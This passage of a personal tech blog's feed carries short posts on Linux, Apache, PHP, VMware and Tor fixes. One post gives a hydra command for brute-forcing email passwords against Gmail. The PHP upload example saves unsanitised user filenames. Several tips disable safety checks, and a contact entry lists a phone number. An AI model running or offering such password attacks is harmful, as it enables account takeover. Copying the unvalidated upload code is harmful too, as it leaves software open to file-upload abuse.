&lt;td&gt;19&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Capslock&lt;/td&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Esc&lt;/td&gt;
&lt;td&gt;27&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Page up&lt;/td&gt;
&lt;td&gt;33&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Page down&lt;/td&gt;
&lt;td&gt;34&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;End&lt;/td&gt;
&lt;td&gt;35&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Home&lt;/td&gt;
&lt;td&gt;36&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Left arrow&lt;/td&gt;
&lt;td&gt;37&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Up arrow&lt;/td&gt;
&lt;td&gt;38&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Right arrow&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Down arrow&lt;/td&gt;
&lt;td&gt;40&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Insert&lt;/td&gt;
&lt;td&gt;45&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Delete&lt;/td&gt;
&lt;td&gt;46&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;48&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;49&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;51&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;52&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;53&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;54&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;55&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;56&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;57&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;a&lt;/td&gt;
&lt;td&gt;65&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;b&lt;/td&gt;
&lt;td&gt;66&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;c&lt;/td&gt;
&lt;td&gt;67&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;d&lt;/td&gt;
&lt;td&gt;68&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;e&lt;/td&gt;
&lt;td&gt;69&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;f&lt;/td&gt;
&lt;td&gt;70&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;g&lt;/td&gt;
&lt;td&gt;71&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;h&lt;/td&gt;
&lt;td&gt;72&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;i&lt;/td&gt;
&lt;td&gt;73&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;j&lt;/td&gt;
&lt;td&gt;74&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;k&lt;/td&gt;
&lt;td&gt;75&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;l&lt;/td&gt;
&lt;td&gt;76&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;m&lt;/td&gt;
&lt;td&gt;77&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;n&lt;/td&gt;
&lt;td&gt;78&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;o&lt;/td&gt;
&lt;td&gt;79&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;p&lt;/td&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;q&lt;/td&gt;
&lt;td&gt;81&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;r&lt;/td&gt;
&lt;td&gt;82&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;s&lt;/td&gt;
&lt;td&gt;83&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;t&lt;/td&gt;
&lt;td&gt;84&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;u&lt;/td&gt;
&lt;td&gt;85&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;v&lt;/td&gt;
&lt;td&gt;86&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;w&lt;/td&gt;
&lt;td&gt;87&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;x&lt;/td&gt;
&lt;td&gt;88&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;y&lt;/td&gt;
&lt;td&gt;89&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;z&lt;/td&gt;
&lt;td&gt;90&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0 (numpad)&lt;/td&gt;
&lt;td&gt;96&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1 (numpad)&lt;/td&gt;
&lt;td&gt;97&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2 (numpad)&lt;/td&gt;
&lt;td&gt;98&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3 (numpad)&lt;/td&gt;
&lt;td&gt;99&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4 (numpad)&lt;/td&gt;
&lt;td&gt;100&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5 (numpad)&lt;/td&gt;
&lt;td&gt;101&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6 (numpad)&lt;/td&gt;
&lt;td&gt;102&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7 (numpad)&lt;/td&gt;
&lt;td&gt;103&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8 (numpad)&lt;/td&gt;
&lt;td&gt;104&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9 (numpad)&lt;/td&gt;
&lt;td&gt;105&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;*&lt;/td&gt;
&lt;td&gt;106&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;td&gt;107&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;ndash;&lt;/td&gt;
&lt;td&gt;109&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;.&lt;/td&gt;
&lt;td&gt;110&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;/&lt;/td&gt;
&lt;td&gt;111&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;F1&lt;/td&gt;
&lt;td&gt;112&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;F2&lt;/td&gt;
&lt;td&gt;113&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;F3&lt;/td&gt;
&lt;td&gt;114&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;F4&lt;/td&gt;
&lt;td&gt;115&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;F5&lt;/td&gt;
&lt;td&gt;116&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;F6&lt;/td&gt;
&lt;td&gt;117&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;F7&lt;/td&gt;
&lt;td&gt;118&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;F8&lt;/td&gt;
&lt;td&gt;119&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;F9&lt;/td&gt;
&lt;td&gt;120&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;F10&lt;/td&gt;
&lt;td&gt;121&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;F11&lt;/td&gt;
&lt;td&gt;122&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;F12&lt;/td&gt;
&lt;td&gt;123&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;=&lt;/td&gt;
&lt;td&gt;187&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Coma&lt;/td&gt;
&lt;td&gt;188&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Slash /&lt;/td&gt;
&lt;td&gt;191&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Backslash \&lt;/td&gt;
&lt;td&gt;220&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</content>
<published>2017-08-28T20:00:00+00:00</published>
<updated>2017-08-28T20:00:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/169'/>
<id>https://wirelessarmy.theproject1.com/169</id>
<author><name>admin</name></author>
</entry> <entry>
<title>brutforcing email</title> 
<content type='html'>&lt;div class=&quot;video-container&quot;&gt;&lt;iframe src=&quot;//www.youtube.com/embed/pQ8Su6fZaBk&quot; width=&quot;560&quot; height=&quot;315&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;allowfullscreen&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;p&gt;here is simple way to crack an email password with hydra&lt;/p&gt;
&lt;p&gt;hydra -L user.txt -P pass.txt http://gmail.com&lt;/p&gt;
&lt;p&gt;or you can use -l and -p for a single user or a single pass&lt;/p&gt;</content>
<published>2017-08-14T17:50:00+00:00</published>
<updated>2017-08-14T17:50:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/107'/>
<id>https://wirelessarmy.theproject1.com/107</id>
<author><name>admin</name></author>
</entry> <entry>
<title>private key not accepted</title> 
<content type='html'>&lt;p&gt;this may be caused by the permission of the users directory:&lt;/p&gt;
&lt;p&gt;you can fix it by editing /etc/ssh/sshd_conf and change the stict_modes = no (default yes) (unsafe)&lt;/p&gt;
&lt;p&gt;or fix your permissions withe the following&lt;/p&gt;
&lt;pre&gt;chmod g-w /home/your_user &lt;br /&gt;chmod 700 /home/your_user/.ssh &lt;br /&gt;chmod 600 /home/your_user/.ssh/authorized_keys&lt;/pre&gt;</content>
<published>2017-08-05T23:53:00+00:00</published>
<updated>2017-08-05T23:53:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/179'/>
<id>https://wirelessarmy.theproject1.com/179</id>
<author><name>admin</name></author>
</entry> <entry>
<title>php7.0 apt problems</title> 
<content type='html'>&lt;p&gt;you may get some problems when installing php 7 with apt-get, most of them can be fixed with installing some additional packagers&lt;/p&gt;
&lt;p&gt;libapache2-mod-php7.0 your apache not having php configuration files&lt;br /&gt;php7.0-mbstring - mbstring error in apps&lt;br /&gt;php7.0-mcrypt -&amp;nbsp;if you have a sigin page and you get an error&lt;br /&gt;php7.0-mysql -&amp;nbsp;mysql&amp;nbsp;&lt;/p&gt;</content>
<published>2017-07-26T15:19:00+00:00</published>
<updated>2017-07-26T15:19:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/185'/>
<id>https://wirelessarmy.theproject1.com/185</id>
<author><name>admin</name></author>
</entry> <entry>
<title>how to watch netfllix with vpn without being blocked</title> 
<content type='html'>&lt;p&gt;Netflix recently &lt;a href=&quot;https://media.netflix.com/en/company-blog/evolving-proxy-detection-as-a-global-service&quot; target=&quot;_blank&quot;&gt;announced&lt;/a&gt; it plans to crack down on VPN, proxy, and&lt;a href=&quot;http://www.howtogeek.com/167239/7-reasons-to-use-a-third-party-dns-service/&quot; target=&quot;_blank&quot;&gt;unblocking DNS&lt;/a&gt; users trying to access content in other countries. The good news: watching&amp;nbsp;streaming sites through a VPN may get a bit more difficult, but it will always be possible.&amp;nbsp;All the service has to do is track where its users are connecting from and note that a large number of users with accounts from all over the world seem to be connecting from the same&amp;nbsp;IP addresses. Those IP addresses can then be blacklisted.&lt;/p&gt;
&lt;p&gt;The Solution: Get Your Own Private VPN IP Address.&lt;br /&gt;Or if you are more technical, get a server with digital ocean or any webhosting server and install &lt;a href=&quot;https://openvpn.net/howto.html&quot; target=&quot;_blank&quot;&gt;open vpn server&lt;/a&gt;&amp;nbsp;on it&lt;/p&gt;</content>
<published>2017-07-22T04:53:00+00:00</published>
<updated>2017-07-22T04:53:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/198'/>
<id>https://wirelessarmy.theproject1.com/198</id>
<author><name>admin</name></author>
</entry> <entry>
<title>libpython2.5.so error not found</title> 
<content type='html'>&lt;p&gt;if you have the libpython2.5.so can&amp;rsquo;t error you can try all these commands (and hope one will work) you must have pythone and synaptic already installed&lt;br /&gt; cd /usr/lib&lt;br /&gt; ls libpython*; dpkg -l | grep libpython; lsb_release -a&lt;br /&gt; &lt;strong&gt;or&lt;/strong&gt;&lt;br /&gt; sudo ln -s ./libpython2.6.so.1.0 ./libpython2.5.so.1.0&lt;br /&gt; &lt;strong&gt;or&lt;/strong&gt;&lt;br /&gt; $ cd /usr/lib64/&lt;br /&gt; $ ln -s libpython2.6.so libpython2.5.so.1.0&lt;br /&gt; $ ln -s libpython2.5.so.1.0 libpython2.5.so.1&lt;br /&gt; $ ln -s libpython2.5.so.1 libpython2.5.so&lt;br /&gt; $ cd /usr/lib/&lt;br /&gt; $ ln -s libpython2.6.so.1.0 libpython2.5.so.1.0&lt;br /&gt; $ ln -s libpython2.5.so.1.0 libpython2.5.so.1&lt;br /&gt; $ ln -s libpython2.5.so.1 libpython2.5.so&lt;br /&gt; $ cd /usr/local/lib/&lt;br /&gt; $ ln -s python2.6 python2.5&lt;br /&gt; $ cd $HOME/nta/lib&lt;br /&gt; $ ln -s python2.5 python2.6&lt;/p&gt;
&lt;p&gt;$ python&lt;br /&gt; &amp;gt;&amp;gt;&amp;gt; import nupic.network&lt;br /&gt; &amp;gt;&amp;gt;&amp;gt; quit();&lt;/p&gt;</content>
<published>2017-07-21T08:09:00+00:00</published>
<updated>2017-07-21T08:09:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/71'/>
<id>https://wirelessarmy.theproject1.com/71</id>
<author><name>admin</name></author>
</entry> <entry>
<title>a2enmod</title> 
<content type='html'>if you want to enable stuff like ssl engine ro rewrite engine on apache and you 
you add the text &#039;RewriteEngine on&#039; but when you restart apache it will give your errors like:
&lt;pre&gt;service apache2 restart
Syntax error on line 47 of /etc/apache2/sites-enabled/000-default:
Invalid command &#039;RewriteEngine&#039;, perhaps misspelled or defined by a module not included in the server configuration
Action &#039;configtest&#039; failed.
The Apache error log may have more information.
 failed!&lt;/pre&gt;
well to fix it you need to enable the module like so:
&lt;pre&gt;a2enmod  rewrite&lt;/pre&gt;
here is a list of modules that you can enable:
&lt;pre&gt;actions alias asis auth_basic auth_digest authn_alias authn_anon authn_dbd authn_dbm authn_default authn_file authnz_ldap authz_dbm authz_default authz_groupfile authz_host authz_owner authz_user autoindex cache cern_meta cgi cgid charset_lite dav dav_fs dav_lock dbd deflate dir disk_cache dump_io env expires ext_filter file_cache filter headers ident imagemap include info ldap log_forensic mem_cache mime mime_magic mod-dnssd negotiation php5 proxy proxy_ajp proxy_balancer proxy_connect proxy_ftp proxy_http proxy_scgi reqtimeout rewrite setenvif speling ssl status substitute suexec unique_id userdir usertrack vhost_alias&lt;/pre&gt;</content>
<published>2017-07-19T20:14:00+00:00</published>
<updated>2017-07-19T20:14:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/115'/>
<id>https://wirelessarmy.theproject1.com/115</id>
<author><name>admin</name></author>
</entry> <entry>
<title>display code in wordpress</title> 
<content type='html'>if you are a developer and you want to share a code there are some problems in wordpress because it will execute as a normal code instead of displaying it so here is what you have to do:
click on the icon on the left when you are on visual mode (when you mouse over it says=”show/hide kitchen sink”) or just pres alt + shift + z
click on past as play text, the put you code there.
when you click on text mode it will look a bit different but it’s OK just add a &amp;lt;pre&amp;gt; and a &amp;lt;/pre&amp;gt; before and after your code</content>
<published>2017-07-10T18:42:00+00:00</published>
<updated>2017-07-10T18:42:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/54'/>
<id>https://wirelessarmy.theproject1.com/54</id>
<author><name>admin</name></author>
</entry> <entry>
<title>smb access denied</title> 
<content type='html'>&lt;p&gt;windows access denied error when trying to connect to samba smb server&lt;br /&gt;group policy computer Configuration &amp;gt; Windows Settings &amp;gt; Security Settings &amp;gt; Local Policies &amp;gt; Security Options&lt;/p&gt;
&lt;p&gt;Send LM &amp;amp;NTLM - use NTLMv2 session security if negotiated&lt;br /&gt;reboot windows&lt;/p&gt;</content>
<published>2017-06-26T22:00:00+00:00</published>
<updated>2017-06-26T22:00:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/183'/>
<id>https://wirelessarmy.theproject1.com/183</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Games</title> 
<content type='html'>&lt;h1&gt;&lt;a href=&quot;images/games/bird&quot; target=&quot;_blank&quot;&gt;Bird&lt;/a&gt;&lt;/h1&gt;
&lt;h1&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=com.abstergo.boxie&quot; target=&quot;_blank&quot;&gt;Boxie&lt;/a&gt;&lt;/h1&gt;
&lt;h1&gt;&lt;a href=&quot;images/games/ball&quot; target=&quot;_blank&quot;&gt;cats life&lt;/a&gt;&lt;/h1&gt;
&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;</content>
<published>2017-06-15T15:19:00+00:00</published>
<updated>2017-06-15T15:19:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/193'/>
<id>https://wirelessarmy.theproject1.com/193</id>
<author><name>admin</name></author>
</entry> <entry>
<title>teamviewer not running</title> 
<content type='html'>if you open teamviewer and it give you and error message, try this, it can be because the service is not started yet&lt;br&gt;
service teamviewerd start</content>
<published>2017-06-12T07:30:00+00:00</published>
<updated>2017-06-12T07:30:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/64'/>
<id>https://wirelessarmy.theproject1.com/64</id>
<author><name>admin</name></author>
</entry> <entry>
<title>fix image upload rotation</title> 
<content type='html'>&lt;p&gt;if you are making a web app that allow upload, it may have a problem with the oriantation since mobile cameras are horizontal.&lt;br /&gt;here is a half example for fixing it in php&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&quot;post&quot;&amp;gt;&lt;br /&gt; &amp;lt;input type=&quot;file&quot; accept=&quot;image/*&quot; name=&quot;upload&quot;&amp;gt;&lt;br /&gt; &amp;lt;input name=&quot;post&quot; value=&quot;submit&quot; type=&quot;submit&quot; /&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if(isset($_POST[&quot;post&quot;])) {&lt;br /&gt;&amp;nbsp; $target_dir =&quot;imagefolder&quot;;&lt;br /&gt;&amp;nbsp; $name = $_FILES[&quot;upload&quot;][&quot;name&quot;];&lt;br /&gt;&amp;nbsp; $type = $_FILES[&quot;upload&quot;][&quot;type&quot;]; &lt;br /&gt;&amp;nbsp; $size = $_FILES[&quot;upload&quot;][&quot;size&quot;];&lt;br /&gt;&amp;nbsp; $error = $_FILES[&quot;upload&quot;][&quot;error&quot;];
 &lt;br /&gt;&amp;nbsp; $temp = $_FILES[&quot;upload&quot;][&quot;tmp_name&quot;];
&amp;nbsp; if(move_uploaded_file($temp, $target_dir.$name))&amp;nbsp;{&lt;br /&gt;&amp;nbsp; &amp;nbsp; $exif = exif_read_data($target_dir.$name);&lt;br /&gt;&amp;nbsp; &amp;nbsp; if (!empty($exif[&#039;Orientation&#039;])) {&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;$img = imagecreatefromjpeg($target_dir.$name);&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; switch ($exif[&#039;Orientation&#039;]) {&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; case 3:&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $newimg = imagerotate($img, 180, 0);&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; case 6:&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $newimg = imagerotate($img, -90, 0);&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; case 8:&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $newimg = imagerotate($img, 90, 0);&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break;&lt;br /&gt;&amp;nbsp; &amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp; &amp;nbsp; imagejpeg($newimg, $target_dir.$name);&lt;br /&gt;&amp;nbsp; }&lt;br /&gt;&amp;nbsp; else {&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;echo $error_message = &#039;Error: Upload Unsuccessful&amp;lt;br /&amp;gt;Please Try Again&#039;;&lt;br /&gt;&amp;nbsp; }&lt;br /&gt;}&lt;/code&gt;&lt;/pre&gt;</content>
<published>2017-06-06T08:17:00+00:00</published>
<updated>2017-06-06T08:17:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/209'/>
<id>https://wirelessarmy.theproject1.com/209</id>
<author><name>admin</name></author>
</entry> <entry>
<title>phpmyadmin permission error</title> 
<content type='html'>&lt;p&gt;if you are using a shared folder on a vmware with a phpmyadmin folder, it will give you a permission error for the file confing.inc.php but since you can&#039;t chmod it (can&#039;t change the permission) you can fix your error by adding the following line to confing.inc.php&lt;/p&gt;
&lt;pre&gt;$cfg[&#039;CheckConfigurationPermissions&#039;] = false;&lt;/pre&gt;</content>
<published>2017-06-06T08:00:00+00:00</published>
<updated>2017-06-06T08:00:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/180'/>
<id>https://wirelessarmy.theproject1.com/180</id>
<author><name>admin</name></author>
</entry> <entry>
<title>run a ethereum server on windows</title> 
<content type='html'>&lt;p&gt;Download ethereum&amp;nbsp;&lt;a href=&quot;https://geth.ethereum.org/downloads/&quot;&gt;https://geth.ethereum.org/downloads/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;install it, on a command prompt go to&amp;nbsp;C:\Program Files\Geth&lt;/p&gt;
&lt;p&gt;trype: geth account new and chose a password.&lt;/p&gt;
&lt;pre&gt;Then type ( if it is your first time)&lt;br /&gt;geth --rpc --fast --cache=1024&lt;/pre&gt;
&lt;p&gt;or just&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;geth --rpc to run a ethereum server&lt;/pre&gt;
&lt;p&gt;Download the wallet so you have a visual of who much of the block chain you have downloaded and manage your accounts easier.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/ethereum/mist/releases&quot;&gt;https://github.com/ethereum/mist/releases&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;the main ethereum database will be located at&lt;/p&gt;
&lt;p&gt;C:\Users\YourPC\AppData\Roaming\Ethereum&lt;/p&gt;
&lt;p&gt;and you accounts in the keystor folder.&lt;strong&gt; Keep them backed up!&lt;/strong&gt;&lt;/p&gt;</content>
<published>2017-06-06T06:41:01+00:00</published>
<updated>2017-06-06T06:41:01+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/220'/>
<id>https://wirelessarmy.theproject1.com/220</id>
<author><name>admin</name></author>
</entry> <entry>
<title>mobile webapp</title> 
<content type='html'>to make sure that your web app scales correctly for both desktop and mobile apps adding the fallowing line to you html header would be necessary 
&lt;pre&gt;&amp;lt;meta name=&quot;viewport&quot; content=&quot;user-scalable=no, initial-scale=1, maximum-scale=1, minimum-scale=1, width=device-width;&quot; /&amp;gt;&lt;/pre&gt;</content>
<published>2017-06-06T01:37:00+00:00</published>
<updated>2017-06-06T01:37:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/21'/>
<id>https://wirelessarmy.theproject1.com/21</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Tor browser as root</title> 
<content type='html'>&lt;p&gt;if you try to open the tor project on backtrack or run it as root on any linux device you will get some error.&lt;br&gt;
the way to solve it is to open the start-tor-browser in tor project folder via an text editor.&lt;br&gt;
find:&lt;/p&gt;
&lt;pre&gt;if [ &quot;`id -u`&quot; -eq 0 ]; then
  complain &quot;The Tor Browser Bundle should not be run as root.  Exiting.&quot;
  exit 1
fi&lt;/pre&gt;
&lt;p&gt;then change the 0 to 1 like this &lt;/p&gt;
&lt;pre&gt;if [ &quot;`id -u`&quot; -eq 1 ]; then
  complain &quot;The Tor Browser Bundle should not be run as root.  Exiting.&quot;
  exit 1
fi&lt;/pre&gt;</content>
<published>2017-06-06T01:37:00+00:00</published>
<updated>2017-06-06T01:37:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/114'/>
<id>https://wirelessarmy.theproject1.com/114</id>
<author><name>admin</name></author>
</entry> <entry>
<title>vmware ram error </title> 
<content type='html'>&lt;h4&gt;you may get an error like this on vmware:&lt;/h4&gt;
&lt;pre&gt;Not enough physical memory is available to power on this virtual machine with its configured settings.

To fix this problem, decrease the memory size of this virtual machine to 1100 MB, increase the amount of physical memory for all virtual machines to 1218 MB, or adjust the additional memory settings to allow more virtual machine memory to be swapped.

It is possible that native applications and/or services have locked down memory which could be preventing the virtual machine from launching. Shutting down unnecessary applications or services may free enough memory to launch this virtual machine.

If you were able to power on this virtual machine on this host computer in the past, try rebooting the host computer. Rebooting may allow you to use slightly more host memory to run virtual machines.
&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt; the work around:&lt;/p&gt;
&lt;p&gt;Open the config.ini file located at C:\ProgramData\VMware\VMware Workstation.&lt;/p&gt;
&lt;p&gt;Add this line:&lt;/p&gt;
&lt;p&gt;vmmon.disableHostParameters = &quot;TRUE&quot;&lt;/p&gt;
&lt;p&gt;Save &amp;amp; reboot your PC.&lt;/p&gt;</content>
<published>2017-06-06T01:25:00+00:00</published>
<updated>2017-06-06T01:25:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/155'/>
<id>https://wirelessarmy.theproject1.com/155</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Sam</title> 
<content type='html'>&lt;p&gt;&lt;img style=&quot;width: 320px; float: left;&quot; src=&quot;../images/me.png&quot; alt=&quot;Soroush Abtahi&quot; /&gt; Hello this is Sam&amp;nbsp;Abtahi&lt;br /&gt; you can contact me at:&lt;br /&gt; &lt;a href=&quot;http://twitter.com/soroush731&quot;&gt;@soroush731&lt;/a&gt;&lt;br /&gt;(702) 577-0797&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr id=&quot;system-readmore&quot; /&gt;
